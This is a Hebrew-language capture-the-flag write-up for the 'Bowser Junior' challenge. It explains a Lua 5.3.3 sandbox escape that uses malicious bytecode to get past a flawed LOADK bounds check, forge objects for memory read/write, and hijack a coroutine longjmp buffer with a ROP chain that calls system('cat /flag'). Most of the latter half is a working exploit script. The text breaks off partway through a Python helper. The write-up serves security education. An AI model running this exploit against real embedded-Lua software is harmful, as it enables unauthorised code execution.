Bowser Junior

תיאור

I was told Lua is considered a safe language, but then I saw how Javascript works.

Lua is an unverified interpreted language, it has vulns go exploit them.

bowserjunior.challenges.bsidestlv.com:4444

פתרון

המשימה עוסקת בשפה בשם Lua שהיא שפת סקריפט. אנחנו מקבלים כתובת ופורט, ומצורף קובץ להורדה בשם bowser.tar.gz.

 

בהתחברות לשרת מקבלים את המסך הבא:

> nc bowserjunior.challenges.bsidestlv.com 4444

Lua 5.3.3  Copyright (C) 1337-1994

> 

 

Lua היא שפת סקריפט קלה הניתנת להטמעה בתוכנות אחרות בקלות.

 

ניתן לראות שפקודות פשוטות מתבצעות בהצלחה, למשל:

Lua 5.3.3  Copyright (C) 1337-1994

> a=1+1

> a

2

> 

 

קובץ הארכיון bowser.tar.gz מכיל קובץ Dockerfile יחד עם מספר קבצים נוספים:

./bowser/

./bowser/Dockerfile

./bowser/files/

./bowser/files/build.sh

./bowser/files/blacklist.txt

./bowser/files/lua-5.3.3.tar.gz

./bowser/files/meh.patch

./bowser/files/lvm.c

./bowser/files/lua.patch

./bowser/files/xinetd.conf

 

בחינה של ה-Dockerfile מגלה שהוא מבוסס על Ubuntu:16.04. הוא מבצע מספר התקנות של clang, מריץ קובץ בשם build.sh, מעתיק קובץ flag ל/flag (שלא נמצא, כמובן, כחלק מהקבצים המצורפים) ומריץ את xinetd לפי ה-xinetd.conf המצורף:

FROM ubuntu:16.04

 

RUN apt-get -y update && \

    apt-get -y install wget build-essential xinetd

 

RUN echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \

    echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \

    echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \

    echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \

    wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key|apt-key add - && \

    apt-get -y update && \

    apt-get -y install clang-3.9

 

RUN groupadd -g 1000 lua && useradd -g lua -m -u 1000 lua -s /bin/bash

 

ADD files/ /tmp/files

 

RUN mv /tmp/files/flag /flag &&  mv /tmp/files/xinetd.conf /etc/xinetd.d/repl

RUN cd /tmp/files && ./build.sh && mv lua /home/lua/lua  && rm -rf /tmp/files

 

USER lua

 

CMD xinetd -d -dontfork

 

xinetd.conf מאזין לפורט 4444 (אותו הפורט שראינו בתיאור האתגר) ומריץ Lua.

service bowser

{

        socket_type = stream

        protocol    = tcp

        port        = 4444

        type        = UNLISTED

        wait        = no

        user        = lua

        server      = /home/lua/lua

}

 

כפי שראינו, הדגל נמצא ב /flag.

 

הניסיון הראשון הוא כמובן לנסות לפתוח את הקובץ:

> print(io.open("/flag","r"))

stdin:1: attempt to index a nil value (global 'io')

stack traceback:

        stdin:1: in main chunk

        [C]: in ?

>

 

נראה ש-io לא נמצא מאיזושהי סיבה. ניסיונות אחרים עם פונקציות של os או debug מראים שגם הן מבוטלות.

זה נראה כמו תרגיל Sandbox escaping . נצלול פנימה...

 

נפתח את הקובץ build.sh:

#!/bin/bash

set -e

LUA=lua-5.3.3

tar xfv $LUA.tar.gz

CC=clang-3.9

CFLAGS='-fuse-ld=gold -O1 -flto -fsanitize=cfi -fvisibility=hidden -fsanitize-blacklist=../blacklist.txt'

LDFLAGS='-fuse-ld=gold -flto'

pushd $LUA

patch -p1 < ../lua.patch

mv ../lvm.c src/lvm.c

make

cp src/lua ../

popd

 

 

רואים חילוץ (unzip) של קוד המקור של Lua ואת רשימת ההגדרות של המהדר - כולל CFI (Control Flow Integrity) שמוגדר לפעול לפי "כללים נוקשים" אך עם רשימה שחורה של פונקציות שמוחרגות מההגנה:

fun:__libc_start_main

fun:cgt_init

fun:getcpu_init

 

src:ldso/*

src:crt/*

src:src/ldso/*

 

הסקריפט גם מפעיל טלאי הנקרא lua.patch:

diff --git a/Makefile b/Makefile

index c795dd7..0691816 100644

--- a/Makefile

+++ b/Makefile

@@ -4,7 +4,7 @@

 # == CHANGE THE SETTINGS BELOW TO SUIT YOUR ENVIRONMENT =======================

 

 # Your platform. See PLATS for possible values.

-PLAT= none

+PLAT= generic

 

 # Where to install. The installation starts in the src and doc directories,

 # so take care if INSTALL_TOP is not an absolute path. See the local target.

diff --git a/src/Makefile b/src/Makefile

index d71c75c..7368f7b 100644

--- a/src/Makefile

+++ b/src/Makefile

@@ -6,21 +6,21 @@

 # Your platform. See PLATS for possible values.

 PLAT= none

 

-CC= gcc -std=gnu99

-CFLAGS= -O2 -Wall -Wextra -DLUA_COMPAT_5_2 $(SYSCFLAGS) $(MYCFLAGS)

+CC= clang-3.9 -std=gnu99

+CFLAGS= -O2 -Wall -Wextra $(SYSCFLAGS) $(MYCFLAGS)

 LDFLAGS= $(SYSLDFLAGS) $(MYLDFLAGS)

 LIBS= -lm $(SYSLIBS) $(MYLIBS)

 

-AR= ar rcu

-RANLIB= ranlib

+AR= llvm-ar-3.9 rcu

+RANLIB= llvm-ranlib-3.9

 RM= rm -f

 

 SYSCFLAGS=

 SYSLDFLAGS=

 SYSLIBS=

 

-MYCFLAGS=

-MYLDFLAGS=

+MYCFLAGS= -flto -fvisibility=hidden -fsanitize=cfi -fstack-protector -fPIE -DLUA_MAXINPUT=0x100000

+MYLDFLAGS= -flto -pie -Wl,-z,relro -Wl,-z,now

 MYLIBS=

 MYOBJS=

 

diff --git a/src/lbaselib.c b/src/lbaselib.c

index d481c4e..5f925a4 100644

--- a/src/lbaselib.c

+++ b/src/lbaselib.c

@@ -284,6 +284,7 @@ static int load_aux (lua_State *L, int status, int envidx) {

 }

 

 

+#if 0   /* avoid compiler warnings about unused functions */

 static int luaB_loadfile (lua_State *L) {

   const char *fname = luaL_optstring(L, 1, NULL);

   const char *mode = luaL_optstring(L, 2, NULL);

@@ -291,6 +292,7 @@ static int luaB_loadfile (lua_State *L) {

   int status = luaL_loadfilex(L, fname, mode);

   return load_aux(L, status, env);

 }

+#endif

 

 

 /*

@@ -353,6 +355,7 @@ static int luaB_load (lua_State *L) {

 /* }====================================================== */

 

 

+#if 0   /* avoid compiler warnings about unused functions */

 static int dofilecont (lua_State *L, int d1, lua_KContext d2) {

   (void)d1;  (void)d2;  /* only to match 'lua_Kfunction' prototype */

   return lua_gettop(L) - 1;

@@ -367,6 +370,7 @@ static int luaB_dofile (lua_State *L) {

   lua_callk(L, 0, LUA_MULTRET, 0, dofilecont);

   return dofilecont(L, 0, 0);

 }

+#endif

 

 

 static int luaB_assert (lua_State *L) {

@@ -453,11 +457,11 @@ static int luaB_tostring (lua_State *L) {

 static const luaL_Reg base_funcs[] = {

   {"assert", luaB_assert},

   {"collectgarbage", luaB_collectgarbage},

-  {"dofile", luaB_dofile},

+  //{"dofile", luaB_dofile},

   {"error", luaB_error},

   {"getmetatable", luaB_getmetatable},

   {"ipairs", luaB_ipairs},

-  {"loadfile", luaB_loadfile},

+  //{"loadfile", luaB_loadfile},

   {"load", luaB_load},

 #if defined(LUA_COMPAT_LOADSTRING)

   {"loadstring", luaB_load},

diff --git a/src/linit.c b/src/linit.c

index 8ce94cc..a3373a0 100644

--- a/src/linit.c

+++ b/src/linit.c

@@ -41,15 +41,15 @@

 */

 static const luaL_Reg loadedlibs[] = {

   {"_G", luaopen_base},

-  {LUA_LOADLIBNAME, luaopen_package},

+  //{LUA_LOADLIBNAME, luaopen_package},

   {LUA_COLIBNAME, luaopen_coroutine},

   {LUA_TABLIBNAME, luaopen_table},

-  {LUA_IOLIBNAME, luaopen_io},

-  {LUA_OSLIBNAME, luaopen_os},

+  //{LUA_IOLIBNAME, luaopen_io},

+  //{LUA_OSLIBNAME, luaopen_os},

   {LUA_STRLIBNAME, luaopen_string},

   {LUA_MATHLIBNAME, luaopen_math},

   {LUA_UTF8LIBNAME, luaopen_utf8},

-  {LUA_DBLIBNAME, luaopen_debug},

+  //{LUA_DBLIBNAME, luaopen_debug},

 #if defined(LUA_COMPAT_BITLIB)

   {LUA_BITLIBNAME, luaopen_bit32},

 #endif

diff --git a/src/lua.c b/src/lua.c

index 545d23d..de2d82c 100644

--- a/src/lua.c

+++ b/src/lua.c

@@ -13,6 +13,7 @@

 #include <stdio.h>

 #include <stdlib.h>

 #include <string.h>

+#include <unistd.h>

 

 #include "lua.h"

 

@@ -591,6 +592,7 @@ static int pmain (lua_State *L) {

 

 

 int main (int argc, char **argv) {

+  alarm(60);

   int status, result;

   lua_State *L = luaL_newstate();  /* create state */

   if (L == NULL) {

 

 

בקובץ מעלה רואים מחיקה של יכולות של Lua (dofile, loadfile, package, io, os, debug), מה שמסביר את כשלון הניסיון הראשון שלנו להגיע לדגל.

כמו כן, התווסף טיימר לסגירת התוכנה תוך 60 שניות.

עוד פעולה שקיימת בקובץ הבנייה היא החלפת הקובץ המקורי בקובץ lvm.c אחר. נבצע השוואה בין הקובץ המקורי לקובץ שלנו:

diff --git "a/C:\\bowser\\files\\lvm (2).c" "b/C:\\bowser\\files\\lvm.c"

index 84ade6b..f9abf0a 100644

--- "a/C:\\bowser\\files\\lvm (2).c"  

+++ "b/C:\\bowser\\files\\lvm.c"

@@ -15,6 +15,7 @@

 #include <stdio.h>

 #include <stdlib.h>

 #include <string.h>

+#include <assert.h>

 

 #include "lua.h"

 

@@ -781,7 +782,11 @@ void luaV_finishOp (lua_State *L) {

   if (!luaV_fastset(L,t,k,slot,luaH_get,v)) \

     Protect(luaV_finishset(L,t,k,v,slot)); }

 

-

+#define bailout(arg) \

+       if (xxb < 0 || xxb > cl->p->maxstacksize) { \

+         printf("[Sorry] xxb = %d  maxstacksize %d\n", xxb, cl->p->maxstacksize); \

+         exit(0); \

+       }

 

 void luaV_execute (lua_State *L) {

   CallInfo *ci = L->ci;

@@ -805,14 +810,24 @@ void luaV_execute (lua_State *L) {

         vmbreak;

       }

       vmcase(OP_LOADK) {

-        TValue *rb = k + GETARG_Bx(i);

+       int xxb =  GETARG_Bx(i);

+       bailout(xxb)

+        TValue *rb = k + xxb;

         setobj2s(L, ra, rb);

         vmbreak;

       }

       vmcase(OP_LOADKX) {

         TValue *rb;

-        lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG);

-        rb = k + GETARG_Ax(*ci->u.l.savedpc++);

+       int xxb = 0;

+

+       if ((GET_OPCODE(*ci->u.l.savedpc) != OP_EXTRAARG)) {

+         printf("[Sorry] savedpc != OP_EXTRAARG\n");

+         exit(0);

+       }

+

+       xxb = GETARG_Ax(*ci->u.l.savedpc++);

+       bailout(xxb)

+        rb = k + xxb;

         setobj2s(L, ra, rb);

         vmbreak;

       }

 

 

מתוך ההשוואה, רואים הוספה של בדיקות תקינות ויציאה מהתוכנה בהפרתם, בפקודות OP_LOADK ו-OP_LOADKX.

 

עד כאן מדובר רק בהקדמה למשימה.

 

דבר ראשון, נרצה להריץ את השרת במחשב מקומי עם יכולת debug. בשביל זה, נבצע מספר שינויים ב-Dockerfile:

1.    נוסיף netcat ו-gdbserver

2.    נמחק את העתקת הדגל שלא נמצא

RUN apt-get -y install netcat && \

    apt-get -y install gdbserver

 

#RUN mv /tmp/files/flag /flag &&  mv /tmp/files/xinetd.conf /etc/xinetd.d/repl

RUN mv /tmp/files/xinetd.conf /etc/xinetd.d/repl

 

כדי להריץ את הdocker- כך שנוכל לדבג, נשתמש בפקודה הבאה:

docker run --rm -p 4444:4444 –p 5555:5555 -it --cap-add=SYS_PTRACE --security-opt seccomp=unconfined bowser /bin/bash

 

בחיפוש אחר חולשות ידועות ב- Luaמצאנו תרגיל דומה שהיה ב- 33c3 ctfעם פתרון של saelo. ננסה להבין את החולשות הקיימות, ואיך לתקוף את המכונה.

 

Lua מספקת פונקצית load שנותנת למשתמש את היכולת לטעון קוד Lua. החלק המעניין הוא שהיא מאפשרת גם לטעון Lua bytecode ובאופן לא מפתיע (הדבר אפילו מוזכר בתיעוד) לא מתבצעות בדיקת תקינות על הקוד הנטען:

 

 "Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter."

 

אם אפשר להביא לקריסה של האינטרפרטר, כנראה שאפשר גם להריץ קוד.

Lua VM הוא יחסית פשוט, התומך ב-46 פקודות (opcodes) בלבד. ה-Interpreter מנהל VM מבוסס רגיסטרים. בשל כך, חלק גדול מה-opcodes משתמש באינדקס לרגיסטרים. הדרך להשתמש בקבועים היא גם על ידי אינדקס. נתבונן בפקודה LOADK. משתמשים בה כדי לטעון ערך לטבלת הקבועים של הפונקציה, כאשר k מסמל את תחילת הטבלה.

vmcase(OP_LOADK) {

-  TValue *rb = k + GETARG_Bx(i);

+  int xxb =  GETARG_Bx(i);

+  bailout(xxb)

+  TValue *rb = k + xxb;

   setobj2s(L, ra, rb);

   vmbreak;

}

 

הפקודה LOADK טוענת את ערך הקבוע Bx לרגיסטר R(A), לדוגמה:

f=load('local a,b,c,d = 3,"foo",3,"foo"')

 

פקודה זו תייצר את הקוד הבא:

0+ params, 4 slots, 1 upvalue, 4 locals, 2 constants, 0 functions

      1       [1]     LOADK           0  1    ; 3

      2       [1]     LOADK           1  2    ; "foo"

      3       [1]     LOADK           2  1    ; 3

      4       [1]     LOADK           3  2    ; "foo"

      5       [1]     RETURN          0  1

constants (2) for 000001DC21780B50:

      1       3

      2       "foo"

locals (4) for 000001DC21780B50:

      0       a       5       6

      1       b       5       6

      2       c       5       6

      3       d       5       6

 

ארבע פעמים LOADK אחד לכל משתנה, אבל הערך של הקבועים לא מוכפל והוא אינדקס בטבלת הקבועים.

המימוש המקורי של LOADK (מה שמסומן ב- ולא ב+) לא מבצע אף בדיקה לגבי הערך שמקבלים מהפרמטר GETARG_Bx(i).

נתעלם כרגע מהבדיקה שהוסיפו בתרגיל שלנו.

המשמעות היא שאפשר להשתמש בפקודה זו כדי להחדיר אובייקטים באופן יזום לטבלת הרגיסטרים.

 

איך הייצוג של אובייקט בזיכרון ב Lua?

/*

** Common Header for all collectable objects (in macro form, to be

** included in other objects)

*/

#define CommonHeader  GCObject *next; lu_byte tt; lu_byte marked

 

typedef struct TString {

  CommonHeader;

  lu_byte extra;  /* reserved words for short strings; "has hash" for longs */

  lu_byte shrlen;  /* length for short strings */

  unsigned int hash;

  union {

    size_t lnglen;  /* length for long strings */

    struct TString *hnext;  /* linked list for hash table */

  } u;

} TString;

 

typedef struct Table {

  CommonHeader;

  lu_byte flags;  /* 1<<p means tagmethod(p) is not present */

  lu_byte lsizenode;  /* log2 of size of 'node' array */

  unsigned int sizearray;  /* size of 'array' array */

  TValue *array;  /* array part */

  Node *node;

  Node *lastfree;  /* any free position is before this position */

  struct Table *metatable;

  GCObject *gclist;

} Table;

 

כפי שניתן לראות, כל אובייקט מכיל מצביע לאובייקט הבא, בייט בשם tt, עוד בייט בשם marked ומספר נתונים הייחודיים לאובייקט.

 

החלקים החשובים לנו הם:

tt – מייצג את סוג האובייקט יחד עם מספר תכונות, כפי שניתן לראות בקוד הבא:

#define LUA_TNIL    0

#define LUA_TBOOLEAN    1

#define LUA_TLIGHTUSERDATA  2

#define LUA_TNUMBER   3

#define LUA_TSTRING   4

#define LUA_TTABLE    5

#define LUA_TFUNCTION   6

#define LUA_TUSERDATA   7

#define LUA_TTHREAD   8

 

/*

** tags for Tagged Values have the following use of bits:

** bits 0-3: actual tag (a LUA_T* value)

** bits 4-5: variant bits

** bit 6: whether value is collectable

*/

 

הביטים 0-3 מייצגים את סוג האובייקט.

ביטים 4-5 הינם מיוחדים לאובייקטים מסוימים, לדוגמא string:

/* Variant tags for strings */

#define LUA_TSHRSTR (LUA_TSTRING | (0 << 4))  /* short strings */

#define LUA_TLNGSTR (LUA_TSTRING | (1 << 4))  /* long strings */

 

 

ביט 6 מייצג אובייקט collectable (הביט הזה חשוב אחר כך לפתרון Bowser Senior)

הרעיון עכשיו הוא לייצר string בגודל מוצהר מקסימלי אבל בלי data אחריו, כדי שנוכל לקרוא נתונים שרירותית מתחילת ה-string ועד סופו.

בגלל ש-string הוא אובייקט immutable הוא לא שימושי גם לכתיבה. לכן נייצר אובייקט של טבלה (דומה לרשימה ב-Python) שהמצביע ל-array מצביע לאובייקט אחד מהרגיסטרים שיש לנו יכולת לשנות.

 

זאת התאוריה, כעת נראה איך עושים זאת.

 

נייצר  Lua bytecodeשמכיל מספר רב של קבועים עם מבנה של טבלאות ומחרוזות, ובחלקים בהם נצטרך לעדכן כתובות בזמן ריצה, נשאיר להםplace holders.

 

    ASM = [

        ('LOADK', 0, 104),

        ('LOADK', 1, 105),

        ('LOADK', 2, 106),

        ('RETURN', 0, 0)

    ]

    CONSTANTS = []

 

    content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)

 

    for i in range(100):

        CONSTANTS.append(content)

 

    chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS)

 

 

כפי שניתן לראות, אנחנו לוקחים את הקבועים 104, 105, 106 ומציבים אותם במשתנים המקומיים 0, 1, 2.

 

כעת אנחנו מייצרים אובייקטים פיקטיביים: מחרוזת (fake_string_data) בגודל מקסימלי ומבנה של טבלה (fake_table_data) שהמצביע לערכים שלה הוא המצביע למערך של memview:

    local memview = {1,2,3,4,5}

 

    local fake_string_data = string.pack('<LbbbbIT',

                            0,                     -- next

                            0x14,                  -- tt

                            0,                     -- marked

                            0,                     -- extra

                            2,                     -- shrlen

                            0,                     -- hash

                            0x7fffffffffffffff)    -- lnglen

 

    local fake_table_data = string.pack('<LbbbbILLLLL',

                            0,                      -- next

                            0x45,                   -- tt

                            0,                      -- marked

                            0,                      -- flags

                            0,                      -- lsizenode

                            0x10,                   -- sizearray

                            addrof(memview) + 0x10, -- array                 

                            0,                      -- node

                            0,                      -- lastfree

                            0,                      -- metatable

                            0)                      -- gclist

 

כותבים את הפקודה שנרצה להריץ, מייצרים טבלה בזיכרון ומחברים הכל לערך אחד:

    -- Command to execute via system() later on

    local command = "cat /flag\x00"

 

    local fill = {}

    for i=1,100 do

        fill[i] = {i=i}

    end

    data = "ABABABABABABABAB" .. fake_string_data .. "CDCDCDCDCDCDCDCD" .. fake_table_data .. "EFEFEFEFEFEFEFEF" .. command

 

מחשבים את הכתובות של המבנים בזמן ריצה:

    local table_addr = addrof(fill[#fill])

    print("[*] Known table @ " .. hex(table_addr))

    local data_addr = table_addr + 136

    local fake_string_addr = data_addr + 0x10

    local fake_table_addr = fake_string_addr + 0x10 + #fake_string_data

    command_addr = fake_table_addr + 0x10 + #fake_table_data           

 

    print("[*] Data @ " .. hex(data_addr))

    print("[*] Fake string @ " .. hex(fake_string_addr))

    print("[*] Fake table @ " .. hex(fake_table_addr))

 

 

מחליפים ב-Lua bytecode את ה-place holders בכתובות אמיתיות:

    chunkbytes = chunkbytes:gsub('AAAAAAAA', function() return string.pack('<L', fake_string_addr) end)

    chunkbytes = chunkbytes:gsub('BBBBBBBB', function() return string.pack('<L', fake_table_addr) end)

 

טוענים את ה-bytecode:

    local chunk = load(chunkbytes)

 

ומריצים:

    local fake_string,fake_table, num  = chunk()

 

כעת מקבלים את fake_string ו-fake_table כפי שרצינו:

    print("[+] Fake objects created")

    print("        Fake string: " .. fake_string:sub(1,4) .. "... (length: " .. hex(#fake_string) .. ")")

    print("        Fake table: "  .. hex(addrof(fake_table)))

 

נייצר class של גישה לזיכרון באמצעות שימוש באובייקטים הללו.

בשביל פרימטיב הקריאה נשתמש בפונקציה string:sub שמעתיקה תת-מחרוזת לפי מיקום, ובשביל פרמיטיב הכתיבה נעדכן את הערך של fake_table[1] אל הכתובת שנרצה לכתוב אליה, מה שידרוס את המצביע של memview למיקום הזה, וכשנכתוב ל-memview[1] הכתיבה תתבצע בפועל בכתובת שרצינו.

    local memory = {}

 

    function memory.can_read(addr)

        return addr - (fake_table_addr + 22 + 1) >= 0

    end

 

    function memory.read(addr, size)

        local relative_addr = addr - (fake_string_addr + 22 + 1)

        if relative_addr < 0 then

            print("[-] Cannot read from " .. hex(addr))

            error()

        end

        return fake_string:sub(relative_addr, relative_addr + size - 1)

    end

 

    function memory.write(addr, val)

        fake_table[1] = addr

        memview[1] = val

    end

 

 

נחזור כעת לבדיקה שהוסיפו לפקודת ה-load:

#define bailout(arg) \

       if (xxb < 0 || xxb > cl->p->maxstacksize) { \

         printf("[Sorry] xxb = %d  maxstacksize %d\n", xxb, cl->p->maxstacksize); \

         exit(0); \

       }

vmcase(OP_LOADK) {

  int xxb =  GETARG_Bx(i);

  bailout(xxb)

  TValue *rb = k + xxb;

   setobj2s(L, ra, rb);

   vmbreak;

}

 

המאקרו bailout מוסיף שתי בדיקות:

1.    xxb (האינדקס של הקבוע הנטען) אינו שלילי

2.    הוא קטן מ-maxstacksize.

אם אחד מהתנאים לא מתקיים, התוכנה יוצאת.

 

בהסתכלות מדוקדקת יותר, ניתן למצוא טעויות:

1.    bailout מקבל פרמטר בשם arg אבל לא משתמש בו, אלא משתמש ישירות ב-xxb וב-cl (לא שמיש להתקפה)

2.  xxb מוגדר בתור int ו-maxstacksize מוגדר בתור unsigned byte.
במקרה כזה, ה-
optimizer  מוותר על הבדיקה ש-xxb אינו שלילי (אם נצליח לקבל ערך של xxb הגדול מ-256, התנאי השני יעבור)

3.    הבעיה הקריטית מכולן היא שהבדיקה xxb > cl->p->maxstacksize כלל אינה נכונה.

a.     maxstacksize הוא הערך של כמות הרגיסטרים הקיימים בפונקציה, ולכן קל מאוד להגדיל את הערך הזה על ידי הוספת משתנים מקומיים לפונקציה, ואין לו שום קשר לגודל טבלת הקבועים (k).

b.    הבדיקה הנכונה הייתה צריכה להיות xxb > cl->p->sizek.

מכאן שיש לנו דרך להתחמק מה-bailout ויש לנו יכולת קריאה וכתיבה, מה שנותר הוא לכתוב את ה-exploit.

 

ראשית, עלינו למצוא דרך להתמודד עם ה-.CFI

Lua משתמש ב-setjmp, ב-exceptions וב-yield ב-coroutines (סוג של thread). פונקציית setjmp טוענת מגוון רגיסטרים וביניהם RIP, ולכן אם נוכל לשנות את RIP ולאפשר להריץ קוד משלנו, נוכל גם לדלג על בדיקת CFI.

 

נייצר coroutine:

    coro_fn = function()

 

נקרא את ה-jumpbuf (פרמטר ל setjump):

        local coro_addr = addrof(coro)

        print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr))

 

        local state_struct = memory.read(coro_addr, 208)

        local longjmp_buffer_addr = string.unpack('<L', string.sub(state_struct, 89, 97))

        local a = memory.read(longjmp_buffer_addr, 0x200)

        b = hexdump(a)

        print(b)

 

נסתכל על הערכים "ידנית" ונחפש מצביע כלשהו למשהו ב-libc. ניקח את ה-offset ונחפש בזמן ריצה את הכתובת ההתחלה של libc:

        local some_libc_address = string.unpack('<L', memory.read(longjmp_buffer_addr + 0xa8, 8))

        print("[+] some_libc_address @ " .. hex(some_libc_address))

        local libc_base = find_libc_base(some_libc_address)

        print("[+] libc @ " .. hex(libc_base))

 

function find_libc_base(some_libc_address)

    local candidate = some_libc_address & 0xfffffffffffff000

    while memory.read(candidate, 4) ~= '\x7fELF' do

        candidate = candidate - 0x1000

    end

    print ("found candidate " .. hex(candidate))

    return candidate

end

 

נמצא ב-libc את הgadget של pop rdi; ret:

        pop_rdi = libc_base + 0x21102           -- pop rdi ; ret

 

נמצא את פונקציית system:

        system_addr = libc_base + 0x45390

 

את הפקודה cat /flag"" כבר יש לנו:

        print("[+] command @ " .. hex(command_addr))

 

נשאר רק למצוא ב-stack, באזור ה-longjump, מצביע לחזרה (return):

        memory.write(longjmp_buffer_addr + 0x138, pop_rdi)

        memory.write(longjmp_buffer_addr + 0x148, pop_rdi)          

        memory.write(longjmp_buffer_addr + 0x150, command_addr)          

        memory.write(longjmp_buffer_addr + 0x158, system_addr)          

        coroutine.yield()

 

כעת, כשיש לנו את כל הפרטים, נחבר הכל יחד.

כאן מופיע template של ההתקפה. חסר הטמפלט של ה Lua bytecode  שבאמצעותו אנחנו יוצרים אובייקטים שרירותיים (בשביל פרימיטיב הקריאה והכתיבה) באמצעות loadk:

function unhexlify(str)

    return str:gsub('..', function(b)

        return string.char(tonumber(b, 16))

    end)

end

 

function hex(v)

    return string.format("0x%x", v)

end

 

function string_addr(v)

    return tostring(v):sub(tostring(v):find('0x')+2)

end

 

function addrof(v)

    return tonumber(string_addr(v),16)

end

 

function hexdump(buf)

    local str = ''

    for i=1,math.ceil(#buf/16) * 16 do

        if (i-1) % 16 == 0 then

            str = str .. string.format('%08X  ', i-1)

        end

        str = str .. (i > #buf and '   ' or string.format('%02X ', buf:byte(i)))

        if i %  8 == 0 then

            str = str .. ' '

        end

        if i % 16 == 0 then

            str = str .. '\n'

        end

    end

    return str

end

 

test = "CHUNK"

 

chunkbytes = unhexlify(test)

 

function hax()

    local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'

    local binary_addr  = addrof(math.abs) - 0x32E70

    print("[*] Binary @ " .. hex(binary_addr))

 

    -- This table's 'array' member will be corrupted later on

    local memview = {1,2,3,4,5}

 

    local fake_string_data = string.pack('<LbbbbIT',

                                         0,

                                         0x14,

                                         0,    

                                         0,   

                                         2,    

                                         0,   

                                         0x7fffffffffffffff)

                                                    

    local fake_table_data = string.pack('<LbbbbILLLLL',

                                        0,  

                                        0x45,

                                        0,   

                                        0,  

                                        0,       

                                        0x10,   

                                        addrof(memview) + 0x10,

                                        0,  

                                        0,      

                                        0,       

                                        0)

 

    -- Command to execute via system() later on

    local command = "cat /flag\x00"

 

    local fill = {}

    for i=1,100 do

        fill[i] = {i=i}

    end

    -- Must be rooted to avoid garbage collection

    data = "ABABABABABABABAB" .. fake_string_data .. "CDCDCDCDCDCDCDCD" .. fake_table_data .. "EFEFEFEFEFEFEFEF" .. command

 

    local table_addr = addrof(fill[#fill])

    print("[*] Known table @ " .. hex(table_addr))

    local data_addr = table_addr + 136

    local fake_string_addr = data_addr + 0x10

    local fake_table_addr = fake_string_addr + 0x10 + #fake_string_data

    command_addr = fake_table_addr + 0x10 + #fake_table_data           

 

    print("[*] Data @ " .. hex(data_addr))

    print("[*] Fake string @ " .. hex(fake_string_addr))

    print("[*] Fake table @ " .. hex(fake_table_addr))

 

    chunkbytes = chunkbytes:gsub('AAAAAAAA', function() return string.pack('<L', fake_string_addr) end)

    chunkbytes = chunkbytes:gsub('BBBBBBBB', function() return string.pack('<L', fake_table_addr) end)

    local chunk = load(chunkbytes)

    local fake_string,fake_table, num  = chunk()

 

    print("[+] Fake objects created")

    print("        Fake string: " .. fake_string:sub(1,4) .. "... (length: " .. hex(#fake_string) .. ")")

    print("        Fake table: "  .. hex(addrof(fake_table)))

    local memory = {}

 

    function memory.can_read(addr)

        return addr - (fake_table_addr + 22 + 1) >= 0

    end

 

    function memory.read(addr, size)

        local relative_addr = addr - (fake_string_addr + 22 + 1)

        if relative_addr < 0 then

            print("[-] Cannot read from " .. hex(addr))

            error()

        end

        return fake_string:sub(relative_addr, relative_addr + size - 1)

    end

 

    function memory.write(addr, val)

        fake_table[1] = addr

        memview[1] = val

    end

 

    return memory

end

 

function find_libc_base(some_libc_address)

    local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'

    local candidate = some_libc_address & 0xfffffffffffff000

    while memory.read(candidate, 4) ~= '\x7fELF' do

        candidate = candidate - 0x1000

    end

    print ("found candidate " .. hex(candidate))

    return candidate

end

 

function pwn()

    memory = hax()

 

    coro_fn = function()

        local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'

        local coro_addr = addrof(coro)

        print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr))

 

        local state_struct = memory.read(coro_addr, 208)

        local longjmp_buffer_addr = string.unpack('<L', string.sub(state_struct, 89, 97))

        print("[+] longjmp buffer @ " .. hex(longjmp_buffer_addr))

        local a = memory.read(longjmp_buffer_addr, 0x200)

 

        local some_libc_address = string.unpack('<L', memory.read(longjmp_buffer_addr + 0xa8, 8))

        print("[+] some_libc_address @ " .. hex(some_libc_address))

        local libc_base = find_libc_base(some_libc_address)

        print("[+] libc @ " .. hex(libc_base))

 

        pop_rdi = libc_base + 0x21102           -- pop rdi ; ret

        print("[+] pop_rdi @ " .. hex(pop_rdi))

        system_addr = libc_base + 0x45390

        print("[+] system @ " .. hex(system_addr))

        print("[+] command @ " .. hex(command_addr))

 

        memory.write(longjmp_buffer_addr + 0x148, pop_rdi)          

        memory.write(longjmp_buffer_addr + 0x150, command_addr)          

        memory.write(longjmp_buffer_addr + 0x158, system_addr)          

        memory.write(longjmp_buffer_addr + 0x138, pop_rdi)             -- rip

 

        print("[*] ready to go!")

        coroutine.yield()

    end

 

    local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'

    coro = coroutine.create(coro_fn)

    while not memory.can_read(addrof(coro)) do

        coro = coroutine.create(coro_fn)

    end

 

    print("[*] Coroutine created: " .. tostring(coro))

    coroutine.resume(coro)

end

 

pwn()

 

 

כדי לייצר את הטמפלט Lua bytecode ניתן להשתמש ב-script הבא, שיכול "לקמפל" קוד ב-Lua, ולאחר מכן נוכל להוסיף לו את האובייקטים השרירותיים מהסקריפט הקודם:

#!/usr/bin/env python3

 

from struct import pack, Struct

from binascii import hexlify

import sys

 

LUA_TNIL           = 0

LUA_TBOOLEAN       = 1

LUA_TLIGHTUSERDATA = 2

LUA_TNUMBER        = 3

LUA_TSTRING        = 4

